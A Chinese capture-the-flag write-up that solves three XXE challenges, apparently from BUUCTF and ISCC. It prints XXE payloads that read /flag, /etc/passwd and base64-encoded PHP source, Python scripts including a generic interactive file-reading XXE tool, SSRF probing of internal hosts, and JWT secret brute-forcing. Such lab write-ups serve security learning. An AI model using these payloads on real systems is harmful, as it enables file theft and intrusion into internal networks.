文章目录
- Fake XML Cookbook
- True XML Cookbook(XXE+ssrf)
- ISCC 未知的风险-1
Fake XML Cookbook

sql注入不行,F12 查看源码:
function doLogin(){
var username = $("#username").val(); // val() 方法返回或设置被选元素的值
var password = $("#password").val(); // $() 相当于 document.getElementById()
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({ // $.ajax() 返回其创建的 XMLHttpRequest 对象
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
// childNodes 属性返回包含被选节点的子节点的集合
// nodeValue 属性根据节点的类型设置或返回节点的值
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
} // XMLHttpRequest 对象用于在后台与服务器交换数据
});
}
抓个包:
可以看到我们输入的用户名直接在回显之中显示出来,所以我们可以想到能不能用这样的方式让服务器返回它内部的文件呢?这样的话也就是可以读取到flag了;联想到XXE显式攻击。
payload:
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>
发送xml数据:
import requests
url = "http://0c1959cb-aa7d-465c-9174-124b5eed19fb.node3.buuoj.cn/"
payload = '''<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<user><username>&foo;</username><password>0</password></user>
'''
r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
print r.text
或者抓包:
我们加入xxe语句并让它回显我们要它会显的东西:先来读取一下用户名和密码吧;
我们可以看到,它已经读取了服务器下的账号密码文件,接着我们直接读取根目录下的flag文件。通常情况下flag文件的位置一般就根目录和var/www/html目录之下 或者是其父目录之下。存在的形式一般为flag、flag.txt、flag.php
最后附上一个脚本,专用于利用xml漏洞来读取文件的:
#!/usr/bin/python
# -*- coding:utf-8 -*-
import urllib2
if __name__ == '__main__':
print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
url = raw_input()
count=1
while count==1:
print u'输入要读取的文件,如file:///etc/passwd'
payload = raw_input()
headers = {'Content-type': 'text/xml'}
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
req = urllib2.Request(url = url,headers = headers, data = xml)
res_data = urllib2.urlopen(req)
res = res_data.read()
print res
运行如下:
True XML Cookbook(XXE+ssrf)
进入之后一样的页面,一样的F12源码。但是此时不能简单地套用上一题的方法。
首先尝试直接读/flag文件,回显了报错信息:
但是发现利用php://filter协议可以读doLogin.php文件:
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>
解码得php源码:
//doLogin.php
<?php\n/**
* autor: c0ny1\n* date: 2018-2-7
*/
$USERNAME = 'admin'; //\xe8\xb4\xa6\xe5\x8f\xb7
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //\xe5\xaf\x86\xe7\xa0\x81
$result = null;
libxml_disable_entity_loader(false); // libxml_disable_entity_loader用于禁用或启用加载外部实体的功能。禁用(TRUE)或启用(FALSE)。
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // loadXML() 方法通过解析一个 XML 标签字符串来组成该文档
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{ // sprintf() 函数把格式化的字符串写入变量中。
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
simplexml_import_dom() 函数把 DOM 节点转换为 SimpleXMLElement 对象。获取 DOM 文档节点并转换为 SimpleXML 节点:
<?php
$dom=new domDocument;
$dom->loadXML("<note><to>Tove</to><from>Jani</from></note>");
$x=simplexml_import_dom($dom);
echo $x->from;
?>
输出类似:
Jani
emm……没什么发现,但是读取源码的payload我还是在这里记录一哈。
这一次有所不同,上一题是我们读取文件得到flag。这次是刺探存活的服务器;
其实很多人都小看了xxe漏洞,觉得它只可以读读文件啊什么的,其实大错特错,它还可以访问内网的主机,和ssrf利用的dict伪协议一样,都可以刺探存活的主机并且链接访问;也可以看作这个题是在打内网;
好的我们老样子,我们利用ssrf读内网文件。先用file协议读取相关的文件 /etc/passwd 和 /etc/hosts;当我们读取到hosts文件的时候,我们会发现有几个ip地址,我们便来访问一下,(到这里应该可以猜到是在打内网了)
只能想到利用xxe进行ssrf打内网,扫描一下内网ip的几个文件:/etc/hosts,/proc/net/arp,/proc/net/fib_trie
读取到passwd的效果如下:
读取到hosts的效果如下:
**然后我们开始猜内网。**既然我们知道了这一点,我们就可以直接用http协议访问了。我们尝试访问173.113.242.10:
发现报错,说明没有这台主机,其实我们已经知道是打内网了,那就多来试几台
还可以读取arp路由:
ISCC 未知的风险-1
进入后抓包
然后jwt爆破得到秘钥为123456,
然后我们伪造user用户
得到了一个登录框页面的源码:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
和上面两个题的源码是一样的,哈哈哈。
猜测flag在根目录:
没有
也没有。会不会在web目录下呢:
base64解码即可得到flag:
参考:https://blog.csdn.net/zss192/article/details/105974121/